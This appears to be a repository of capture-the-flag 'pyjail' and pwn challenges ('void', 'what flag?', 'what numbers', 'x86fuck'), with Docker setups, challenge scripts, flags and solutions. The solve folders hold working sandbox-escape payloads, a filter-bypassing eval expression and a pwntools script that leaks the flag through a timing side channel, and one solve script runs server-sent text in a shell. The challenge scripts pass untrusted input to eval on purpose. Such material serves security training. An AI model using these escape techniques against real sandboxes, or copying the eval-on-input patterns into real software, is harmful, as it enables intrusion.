--------------------------------------------------------------------------------
1 | # In the parent directory:
2 | # docker build docker/Dockerfile.local -t void .
3 | # docker run --init -it --rm -v SCRIPT_PATH:/tmp/file.py void
4 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575
5 |
6 | COPY flag /flag
7 |
8 | WORKDIR /app
9 | COPY embedder.docker /app/embedder
10 | COPY docker/local_entry.py .
11 |
12 | ENTRYPOINT ["/app/local_entry.py"]
13 |
--------------------------------------------------------------------------------
/void/handout/docker/Dockerfile.prebuilt:
--------------------------------------------------------------------------------
1 | FROM pwn.red/jail
2 |
3 | COPY --from=python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 / /srv
4 |
5 | RUN mkdir /srv/app
6 | COPY embedder.docker /srv/app/embedder
7 | COPY docker/entry.py /srv/app/run
8 | COPY docker/hook.sh /jail/hook.sh
9 | COPY flag /srv/
10 | ENV JAIL_TMP_SIZE=65536 JAIL_MEM=20M JAIL_PIDS=10
11 |
--------------------------------------------------------------------------------
/void/handout/docker/entry.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | import os
3 |
4 | cod = ""
5 |
6 | while True:
7 | try:
8 | line = input("(EOF to finish)> ")
9 | except EOFError:
10 | break
11 | if line == "EOF":
12 | break
13 | cod += line + "\n"
14 |
15 | for c in cod:
16 | if ord(c) >= 128:
17 | print("only ascii")
18 | exit()
19 | if c in "_":
20 | print("no underscores")
21 | exit()
22 |
23 | with open("/tmp/file.py", "w") as f:
24 | f.write(cod)
25 |
26 | print("Good luck", flush=True)
27 |
28 | os.system("/app/embedder /tmp/file.py 2>&1")
29 |
--------------------------------------------------------------------------------
/void/handout/docker/hook.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | mv /srv/flag /srv/flag-$(head -c32 /dev/urandom | xxd -c64 -p)
4 |
--------------------------------------------------------------------------------
/void/handout/docker/local_entry.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | import os
3 |
4 | randombytes = os.urandom(32).hex()
5 | os.system("mv /flag /flag-" + randombytes)
6 |
7 | with open("/tmp/file.py", "r") as f:
8 | cod = f.read()
9 |
10 | for c in cod:
11 | if ord(c) >= 128:
12 | print("only ascii")
13 | exit()
14 | if c in "_":
15 | print("no underscores")
16 | exit()
17 |
18 | print("Good luck", flush=True)
19 |
20 | os.system("/app/embedder /tmp/file.py 2>&1")
21 |
--------------------------------------------------------------------------------
/void/handout/embedder.docker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/void/handout/embedder.docker
--------------------------------------------------------------------------------
/void/handout/flag:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/void/remote/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS := $(CFLAGS) $(if $(DEBUGLVL),-DDEBUGLVL=$(DEBUGLVL),) $(shell python3.12-config --cflags) -Wall -fPIC -O3
2 | LDFLAGS := $(LDFLAGS) $(shell python3.12-config --ldflags) -shared -fPIC -O3 -fPIE -pie -lpython3.12 #-Xlinker -export-dynamic -Wl,-O1 -Wl,-Bsymbolic-functions -lpython3.12
3 |
4 | all: embedder
5 |
6 | embedder.o: embedder.c
7 |
8 | embedder: embedder.o
9 | $(CC) -o $@ $< $(LDFLAGS)
10 | strip $@
11 |
12 | .PHONY: all clean run single fresh
13 |
14 | run: embedder
15 | $(PWD)/$< $(ARGS)
16 |
17 | single: $(FILE)
18 | $(CC) $< $(CFLAGS) $(LDFLAGS)
19 | ./a.out
20 | rm -f ./a.out
21 |
22 | clean:
23 | rm -f embedder.o embedder
24 |
25 | fresh: clean embedder
26 |
--------------------------------------------------------------------------------
/void/remote/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 AS builder
2 |
3 | WORKDIR /build
4 | COPY embedder.c .
5 | COPY Makefile .
6 | RUN make DEBUGLVL=0
7 |
8 | FROM pwn.red/jail
9 |
10 | COPY --from=python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 / /srv
11 |
12 | RUN mkdir /srv/app
13 | COPY --from=builder /build/embedder /srv/app/embedder
14 | COPY docker/entry.py /srv/app/run
15 | COPY docker/hook.sh /jail/hook.sh
16 | COPY flag /srv/
17 | ENV JAIL_TMP_SIZE=65536 JAIL_MEM=20M JAIL_PIDS=10
18 |
--------------------------------------------------------------------------------
/void/remote/docker/Dockerfile.local:
--------------------------------------------------------------------------------
1 | # In the parent directory:
2 | # docker build docker/Dockerfile.local -t void .
3 | # docker run --init -it --rm -v SCRIPT_PATH:/tmp/file.py void
4 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 AS builder
5 |
6 | WORKDIR /build
7 | COPY embedder.c .
8 | COPY Makefile .
9 | RUN make DEBUGLVL=0
10 |
11 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575
12 |
13 | COPY flag /flag
14 |
15 | WORKDIR /app
16 | COPY --from=builder /build/embedder .
17 | COPY docker/local_entry.py .
18 |
19 | ENTRYPOINT ["/app/local_entry.py"]
20 |
--------------------------------------------------------------------------------
/void/remote/docker/Dockerfile.local.prebuilt:
--------------------------------------------------------------------------------
1 | # In the parent directory:
2 | # docker build docker/Dockerfile.local -t void .
3 | # docker run --init -it --rm -v SCRIPT_PATH:/tmp/file.py void
4 | FROM python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575
5 |
6 | COPY flag /flag
7 |
8 | WORKDIR /app
9 | COPY embedder.docker /app/embedder
10 | COPY docker/local_entry.py .
11 |
12 | ENTRYPOINT ["/app/local_entry.py"]
13 |
--------------------------------------------------------------------------------
/void/remote/docker/Dockerfile.prebuilt:
--------------------------------------------------------------------------------
1 | FROM pwn.red/jail
2 |
3 | COPY --from=python@sha256:bd55f8eed20434cc1dfc75039f766f5890995dc6adfd509cefad95835a306575 / /srv
4 |
5 | RUN mkdir /srv/app
6 | COPY embedder.docker /srv/app/embedder
7 | COPY docker/entry.py /srv/app/run
8 | COPY docker/hook.sh /jail/hook.sh
9 | COPY flag /srv/
10 | ENV JAIL_TMP_SIZE=65536 JAIL_MEM=20M JAIL_PIDS=10
11 |
--------------------------------------------------------------------------------
/void/remote/docker/entry.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | import os
3 |
4 | cod = ""
5 |
6 | while True:
7 | try:
8 | line = input("(EOF to finish)> ")
9 | except EOFError:
10 | break
11 | if line == "EOF":
12 | break
13 | cod += line + "\n"
14 |
15 | for c in cod:
16 | if ord(c) >= 128:
17 | print("only ascii")
18 | exit()
19 | if c in "_":
20 | print("no underscores")
21 | exit()
22 |
23 | with open("/tmp/file.py", "w") as f:
24 | f.write(cod)
25 |
26 | print("Good luck", flush=True)
27 |
28 | os.system("/app/embedder /tmp/file.py 2>&1")
29 |
--------------------------------------------------------------------------------
/void/remote/docker/hook.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | mv /srv/flag /srv/flag-$(head -c32 /dev/urandom | xxd -c64 -p)
4 |
--------------------------------------------------------------------------------
/void/remote/docker/local_entry.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | import os
3 |
4 | randombytes = os.urandom(32).hex()
5 | os.system("mv /flag /flag-" + randombytes)
6 |
7 | with open("/tmp/file.py", "r") as f:
8 | cod = f.read()
9 |
10 | for c in cod:
11 | if ord(c) >= 128:
12 | print("only ascii")
13 | exit()
14 | if c in "_":
15 | print("no underscores")
16 | exit()
17 |
18 | print("Good luck", flush=True)
19 |
20 | os.system("/app/embedder /tmp/file.py 2>&1")
21 |
--------------------------------------------------------------------------------
/void/remote/embedder.docker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/void/remote/embedder.docker
--------------------------------------------------------------------------------
/void/remote/flag:
--------------------------------------------------------------------------------
1 | There is something to be said about the _you did it_ star. That somehow, despite its childishly cartoonish aesthetics (or perhaps more likely, because of), the people _love_ it. Such is the appeal of modern art, the decomposition and unraveling of conventions, mocking it through ironic depictions, thus engendering sincerity. Sincerity? How could irony be a source of sincerity, you may ask. We as a society are so used to the insincere messages at the end of some grand service. The "thank you for choosing us" after the airline cancelled your plane and rebooked you for one 30 hours after, and the "great job!" on standard exams after you clearly bombed it. It is as if they don't actually care about the message. They are but blindly following the niceties of yesterday's, churning out phrases one after the other. Thus, the _you did it_ star stands as a beacon of sincerity and irony. The organizers know that most contestants probably didn't do as well as they hoped -- they didn't solve a problem despite their best efforts, they couldn't implement a solution before the time ran out, or they simply did worse than they wanted to. After all, there are only so many winners. Most don't stand out. So the _you did it_ star tells them: "It's ok! I know you probably didn't do so well, just like how I am not well-drawn. But it doesn't matter, because you had fun solving the problems, and ultimately this is just a silly contest. So regardless of what happened, _you_ did it, even if _you_ did not do it so well." But you may argue that the insincerity of the _you did it_ star is antithetical to all that the competition stands for, and that it completely defeats the effort that we, the competitors, put into solving challenges such as this. That we did not do it is besides the point, it is the fact that we failed that is important. But I disagree!!! Because _you_ did not do it!!!!!! Anywho, thanks for coming to my TED talk. Here's the flag: jail{https://www.wsj.com/articles/SB10001424052702303910404579489802877661782}
2 |
--------------------------------------------------------------------------------
/what-flag/README.md:
--------------------------------------------------------------------------------
1 | # what flag?
2 |
3 | category: pyjail/golf
4 |
5 | ## description
6 |
7 | there is no flag
8 |
9 |
--------------------------------------------------------------------------------
/what-flag/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=39M JAIL_POW=500 JAIL_ENV_NUM=5 JAIL_TIME=10 JAIL_CONNS_PER_IP=2
8 |
9 |
--------------------------------------------------------------------------------
/what-flag/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/what-flag/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | import signal
3 | from time import sleep
4 | from random import random, getrandbits
5 |
6 | flag = open('flag.txt').read()
7 | def die(*args):
8 | raise SystemError
9 |
10 | LENGTH_LIMIT = 22 # pretty sure you can't do anything sus with this.
11 | q = input("do whatever: ")[:LENGTH_LIMIT]
12 | r = input("do whateverer: ")[:LENGTH_LIMIT]
13 |
14 | signal.signal(signal.SIGALRM, die)
15 | signal.setitimer(signal.ITIMER_REAL, 0.001)
16 |
17 | try:
18 | eval(q, {'__builtins__':{}, "flag":flag}, {'__builtins__':{}, "flag":flag})
19 | except:
20 | pass
21 |
22 | try:
23 | sleep(0.002)
24 | except:
25 | pass
26 | del flag
27 | safe_builtins = {i:__builtins__.__dict__[i] for i in __builtins__.__dict__ if type(__builtins__.__dict__[i]) == type} # types are safe right?
28 | sleep(random()) # no side channels :D
29 |
30 | try:
31 | eval(r, {'__builtins__': safe_builtins}, {'__builtins__': safe_builtins})
32 | except:
33 | pass
34 |
--------------------------------------------------------------------------------
/what-flag/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=39M JAIL_POW=500 JAIL_ENV_NUM=5 JAIL_TIME=10 JAIL_CONNS_PER_IP=2
8 |
9 |
--------------------------------------------------------------------------------
/what-flag/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{pr0babl4_n!t_wh1t_y0U_3xpyct8d}
2 |
--------------------------------------------------------------------------------
/what-flag/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | import signal
3 | from time import sleep
4 | from random import random, getrandbits
5 |
6 | flag = open('flag.txt').read()
7 | def die(*args):
8 | raise SystemError
9 |
10 | LENGTH_LIMIT = 22 # pretty sure you can't do anything sus with this.
11 | q = input("do whatever: ")[:LENGTH_LIMIT]
12 | r = input("do whateverer: ")[:LENGTH_LIMIT]
13 |
14 | signal.signal(signal.SIGALRM, die)
15 | signal.setitimer(signal.ITIMER_REAL, 0.001)
16 |
17 | try:
18 | eval(q, {'__builtins__':{}, "flag":flag}, {'__builtins__':{}, "flag":flag})
19 | except:
20 | pass
21 |
22 | try:
23 | sleep(0.002)
24 | except:
25 | pass
26 | del flag
27 | safe_builtins = {i:__builtins__.__dict__[i] for i in __builtins__.__dict__ if type(__builtins__.__dict__[i]) == type} # types are safe right?
28 | sleep(random()) # no side channels :D
29 |
30 | try:
31 | eval(r, {'__builtins__': safe_builtins}, {'__builtins__': safe_builtins})
32 | except:
33 | pass
34 |
--------------------------------------------------------------------------------
/what-flag/solve/README.md:
--------------------------------------------------------------------------------
1 | # what flag?
2 |
3 | warning: this is extremely obscure and may invoke nerd emoji in readers
4 |
5 | we can abuse the `__flags__` attribute of types to store data
6 |
7 | the 19th bit of the `__flags__` attribute gets set on attribute read of a type
8 |
9 | ```
10 | >>> complex.__flags__
11 | 5376
12 | >>> complex.real
13 |
14 | >>> complex.__flags__
15 | 529664
16 | ```
17 |
18 | in this case we can also abuse the fl ligature and then do a side channel on the second input by having the program stall
19 | if the `complex.__flags__` are too high
20 |
21 | general idea is below
22 |
23 | ```
24 | do whatever: flag[xx]<'x'or 1j.a
25 | do whateverer: 2**complex.__flags__**2
26 | ```
27 |
28 | that but with the fl ligature instead of "fl" (the xx and 'x' are the inputs)
29 |
30 |
--------------------------------------------------------------------------------
/what-flag/solve/solve-remote.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from subprocess import check_output
3 | import signal
4 | import time
5 |
6 | context.log_level = 'critical'
7 | #context.log_level = 'debug'
8 |
9 | def die(*args):
10 | raise SystemError
11 |
12 | signal.signal(signal.SIGALRM, die)
13 |
14 | p = "\ufb02ag[%s]<'\\x%x'or 1j.a"
15 | p2 = "2**complex.__\ufb02ags__**2"
16 |
17 | flag = ""
18 | cur = 0
19 | while not len(flag) or flag[-1] != "}":
20 | bit = 2**6
21 | ch = 0
22 | while bit:
23 | io = remote("localhost", 5000)
24 | io.recvline()
25 | io.sendline(check_output(io.recvline().decode('ascii'), shell=True).strip())
26 | io.recv(1000)
27 | io.sendline((p%(cur, ch + bit)).encode())
28 | io.recvuntil(b"rer: ")
29 | io.sendline(p2.encode())
30 | time.sleep(2)
31 | eof = False
32 | try:
33 | io.recv(1,timeout=0)
34 | except EOFError:
35 | eof = True
36 | if not eof:
37 | ch += bit
38 | print(f'ord(flag[{cur}]) >= {ch}')
39 | else:
40 | print(f'ord(flag[{cur}]) < {ch+bit}')
41 | io.close()
42 | bit >>= 1
43 | flag += chr(ch)
44 | cur += 1
45 | print(flag)
46 |
47 |
--------------------------------------------------------------------------------
/what-flag/solve/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import signal
3 | import time
4 |
5 | context.log_level = 'critical'
6 | #context.log_level = 'debug'
7 |
8 | def die(*args):
9 | raise SystemError
10 |
11 | signal.signal(signal.SIGALRM, die)
12 |
13 | p = "\ufb02ag[%s]<'\\x%x'or 1j.a"
14 | p2 = "2**complex.__\ufb02ags__**2"
15 |
16 | flag = ""
17 | cur = 0
18 | while not len(flag) or flag[-1] != "}":
19 | bit = 2**6
20 | ch = 0
21 | while bit:
22 | io = process(['python3', 'main.py'])
23 | io.sendline((p%(cur, ch + bit)).encode())
24 | io.recvuntil(b"rer: ")
25 | io.sendline(p2.encode())
26 | time.sleep(2)
27 | eof = False
28 | try:
29 | io.recv(1,timeout=0)
30 | except EOFError:
31 | eof = True
32 | if not eof:
33 | ch += bit
34 | print(f'ord(flag[{cur}]) >= {ch}')
35 | else:
36 | print(f'ord(flag[{cur}]) < {ch+bit}')
37 | io.close()
38 | bit >>= 1
39 | flag += chr(ch)
40 | cur += 1
41 | print(flag)
42 |
--------------------------------------------------------------------------------
/what-numbers/README.md:
--------------------------------------------------------------------------------
1 | # what numbers
2 |
3 | category: pyjail/golf
4 |
5 | ## description
6 |
7 | i hate numbers, so i banned them all
8 |
--------------------------------------------------------------------------------
/what-numbers/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | # Python 3.10.12 ... [GCC 12.2.0] on linux
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/what-numbers/handout/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 |
3 | banned = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~=+[]{}|!@#$%&()>< "
4 |
5 | def check(x):
6 | return all(i not in banned and ord(i) < 128 for i in x)
7 |
8 | x = input("input? ")
9 |
10 | if not check(x):
11 | print('you are not ready for it')
12 | exit()
13 |
14 | if eval(x[:1337]) == (1337,420,69,0o11111111,0xdead,0xbeef,0xcafe,0xdecade,int(b'jail'.hex(),16),0xdeadbeef,0x13371337,0x123456789,123456789,13371337,1099):
15 | print(open('flag.txt').read())
16 | print('bye')
--------------------------------------------------------------------------------
/what-numbers/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/what-numbers/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | # Python 3.10.12 ... [GCC 12.2.0] on linux
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/what-numbers/remote/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 |
3 | banned = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~=+[]{}|!@#$%&()>< "
4 |
5 | def check(x):
6 | return all(i not in banned and ord(i) < 128 for i in x)
7 |
8 | x = input("input? ")
9 |
10 | if not check(x):
11 | print('you are not ready for it')
12 | exit()
13 |
14 | if eval(x[:1337]) == (1337,420,69,0o11111111,0xdead,0xbeef,0xcafe,0xdecade,int(b'jail'.hex(),16),0xdeadbeef,0x13371337,0x123456789,123456789,13371337,1099):
15 | print(open('flag.txt').read())
16 | print('bye')
--------------------------------------------------------------------------------
/what-numbers/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{i_dont_know_what_numbers_youre_talking_about}
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/README.md:
--------------------------------------------------------------------------------
1 | # what numbers
2 |
3 | todo add quick writeup
4 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/1099.txt:
--------------------------------------------------------------------------------
1 | __loader__.set_data.__code__.co_firstlineno
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/123456789.txt:
--------------------------------------------------------------------------------
1 | bytes.__flags__-type.__flags__//object.__flags__-int.__flags__*memoryview.__basicsize__//set.__basicsize__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/1337.txt:
--------------------------------------------------------------------------------
1 | __debug__^bool.__flags__-set.__basicsize__^int.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/13371337.txt:
--------------------------------------------------------------------------------
1 | __debug__^set.__flags__//map.__basicsize__--list.__flags__^str.__basicsize__*object.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/14600926.txt:
--------------------------------------------------------------------------------
1 | zip.__flags__//map.__basicsize__*memoryview.__flags__-list.__flags__//-str.__basicsize__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/1784768876.txt:
--------------------------------------------------------------------------------
1 | __debug__-range.__flags__-float.__flags__//-int.__basicsize__-zip.__flags__//-type.__dictoffset__*int.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/2396745.txt:
--------------------------------------------------------------------------------
1 | str.__flags__//bytearray.__basicsize__-bytes.__flags__//bytearray.__basicsize__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/322376503.txt:
--------------------------------------------------------------------------------
1 | map.__basicsize__-bool.__flags__^-str.__flags__-tuple.__flags__*tuple.__flags__//bytes.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/3735928559.txt:
--------------------------------------------------------------------------------
1 | tuple.__flags__//classmethod.__flags__-bool.__flags__-dict.__flags__*type.__basicsize__//-check.__class__.__basicsize__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/420.txt:
--------------------------------------------------------------------------------
1 | type.__flags__//set.__flags__-bytes.__basicsize__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/4886718345.txt:
--------------------------------------------------------------------------------
1 | dict.__flags__//-range.__flags__-set.__basicsize__*bool.__flags__^int.__basicsize__*-int.__flags__-tuple.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/48879.txt:
--------------------------------------------------------------------------------
1 | bytes.__flags__//-zip.__flags__^__debug__-zip.__flags__-memoryview.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/51966.txt:
--------------------------------------------------------------------------------
1 | property.__basicsize__-set.__flags__*zip.__basicsize__//-range.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/57005.txt:
--------------------------------------------------------------------------------
1 | set.__basicsize__^-complex.__flags__-str.__flags__//-range.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/best/69.txt:
--------------------------------------------------------------------------------
1 | list.__flags__//id.__class__.__flags__
2 |
--------------------------------------------------------------------------------
/what-numbers/solve/gen-final.py:
--------------------------------------------------------------------------------
1 | nums = (1337,420,69,0o11111111,0xdead,0xbeef,0xcafe,0xdecade,int(b'jail'.hex(),16),0xdeadbeef,0x13371337,0x123456789,123456789,13371337,1099)
2 |
3 | total = ""
4 | for num in nums:
5 | with open(f"best/{num}.txt") as f:
6 | text = f.read().strip("\n")
7 | total += text
8 | total += ","
9 | total = total[:-1]
10 | print(len(total))
11 | print(total)
12 | with open("payload.txt", 'w') as f:
13 | f.write(total)
14 |
15 |
--------------------------------------------------------------------------------
/what-numbers/solve/payload.txt:
--------------------------------------------------------------------------------
1 | __debug__^bool.__flags__-set.__basicsize__^int.__flags__,type.__flags__//set.__flags__-bytes.__basicsize__,list.__flags__//id.__class__.__flags__,tuple.__itemsize__**__loader__.set_data.__code__.co_nlocals//bytearray.__basicsize__,set.__basicsize__^-complex.__flags__-str.__flags__//-range.__flags__,bytes.__flags__//-zip.__flags__^__debug__-zip.__flags__-memoryview.__flags__,property.__basicsize__-set.__flags__*zip.__basicsize__//-range.__flags__,zip.__flags__//map.__basicsize__*memoryview.__flags__-list.__flags__//-str.__basicsize__,__debug__-range.__flags__-float.__flags__//-int.__basicsize__-zip.__flags__//-type.__dictoffset__*int.__flags__,set.__flags__*type.__basicsize__-zip.__flags__*zip.__flags__^dict.__flags__*bytes.__basicsize__//set.add.__class__.__flags__,map.__basicsize__-bool.__flags__^-str.__flags__-tuple.__flags__*tuple.__flags__//bytes.__flags__,dict.__flags__//-range.__flags__-set.__basicsize__*bool.__flags__^int.__basicsize__*-int.__flags__-tuple.__flags__,bytes.__flags__-type.__flags__//object.__flags__-int.__flags__*memoryview.__basicsize__//set.__basicsize__,__debug__^set.__flags__//map.__basicsize__--list.__flags__^str.__basicsize__*object.__flags__,__loader__.set_data.__code__.co_firstlineno
--------------------------------------------------------------------------------
/what-numbers/solve/searchattrs.py:
--------------------------------------------------------------------------------
1 | # this one can be optimized for sure
2 |
3 | banned = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~=+[]{}|!@#$%&()>< "
4 |
5 |
6 | def check(x):
7 | return all(i not in banned and ord(i) < 128 for i in x)
8 |
9 |
10 | MAX = 4
11 | seen_classes = set()
12 | best_way = {}
13 | alldunders = open("dunders.txt").read().splitlines(keepends=False)
14 |
15 |
16 | def recurs(oname, obj, attrs, depth=0):
17 | if isinstance(obj, bool):
18 | obj = int(obj)
19 | if depth == MAX:
20 | return
21 | if not check(oname):
22 | return
23 | if isinstance(obj, int):
24 | if obj not in best_way or len(best_way[obj]) > len(oname):
25 | best_way[obj] = oname
26 | print(oname, obj)
27 | return
28 | for attr in attrs:
29 | try:
30 | new_obj = getattr(obj, attr)
31 | if isinstance(new_obj, int):
32 | if not check(attr):
33 | continue
34 | if new_obj not in best_way or len(best_way[new_obj]) > len(oname + "." + attr):
35 | best_way[new_obj] = oname + "." + attr
36 | print(oname + "." + attr, new_obj)
37 | continue
38 | recurs(f'{oname}.{attr}', new_obj, alldunders, depth+1)
39 | except:
40 | pass
41 |
42 |
43 | def main():
44 | objnames = dir(__builtins__) + ['check'] + ['__debug__']
45 | objnames = [name for name in objnames if check(name)]
46 | for objname in objnames:
47 | obj = eval(objname)
48 | objattrs = alldunders
49 | recurs(objname, obj, objattrs)
50 | print(best_way)
51 |
52 |
53 | if __name__ == "__main__":
54 | main()
55 |
--------------------------------------------------------------------------------
/x86fuck/README.md:
--------------------------------------------------------------------------------
1 | # x86fuck
2 |
3 | category: mainstream/pwn
4 |
5 | ## description
6 |
7 | what if x86 and brainfuck had a child?
--------------------------------------------------------------------------------
/x86fuck/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir unicorn
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=40M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=15 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/x86fuck/handout/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 |
3 | from unicorn import Uc, UcError, UC_ARCH_X86, UC_HOOK_INTR, UC_MODE_32
4 | from unicorn.x86_const import UC_X86_REG_EAX, UC_X86_REG_EBX
5 |
6 | def read_bytes(uc, addr):
7 | ret = b''
8 | i = 0
9 | while (c := uc.mem_read(addr + i, 1)) != b'\x00':
10 | ret += c
11 | i += 1
12 | return ret
13 |
14 | def hook_interrupt(uc, intno, user_data):
15 | if intno == 0x80:
16 | sysno = uc.reg_read(UC_X86_REG_EAX)
17 | filename = uc.reg_read(UC_X86_REG_EBX)
18 |
19 | if sysno == 11 and read_bytes(uc, filename) == b'/bin/sh':
20 | print(open('flag.txt', 'r').read())
21 | mu.emu_stop()
22 |
23 | code = bytes.fromhex(input('Please input your finest shellcode (in hex): '))
24 |
25 | if len(code) > 4096:
26 | print('Too big! Try again.')
27 | exit(1)
28 |
29 | if len(set(code)) > 2:
30 | print("Too diverse! Try again.")
31 | exit(1)
32 |
33 | mu = Uc(UC_ARCH_X86, UC_MODE_32)
34 | mu.mem_map(0, 4096)
35 | mu.mem_write(0, code)
36 | mu.hook_add(UC_HOOK_INTR, hook_interrupt)
37 |
38 | try:
39 | mu.emu_start(0, len(code))
40 | except UcError as e:
41 | print(f'Error: {e}')
42 |
--------------------------------------------------------------------------------
/x86fuck/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/x86fuck/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir unicorn
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 chal.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=40M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=15 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/x86fuck/remote/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 |
3 | from unicorn import Uc, UcError, UC_ARCH_X86, UC_HOOK_INTR, UC_MODE_32
4 | from unicorn.x86_const import UC_X86_REG_EAX, UC_X86_REG_EBX
5 |
6 | def read_bytes(uc, addr):
7 | ret = b''
8 | i = 0
9 | while (c := uc.mem_read(addr + i, 1)) != b'\x00':
10 | ret += c
11 | i += 1
12 | return ret
13 |
14 | def hook_interrupt(uc, intno, user_data):
15 | if intno == 0x80:
16 | sysno = uc.reg_read(UC_X86_REG_EAX)
17 | filename = uc.reg_read(UC_X86_REG_EBX)
18 |
19 | if sysno == 11 and read_bytes(uc, filename) == b'/bin/sh':
20 | print(open('flag.txt', 'r').read())
21 | mu.emu_stop()
22 |
23 | code = bytes.fromhex(input('Please input your finest shellcode (in hex): '))
24 |
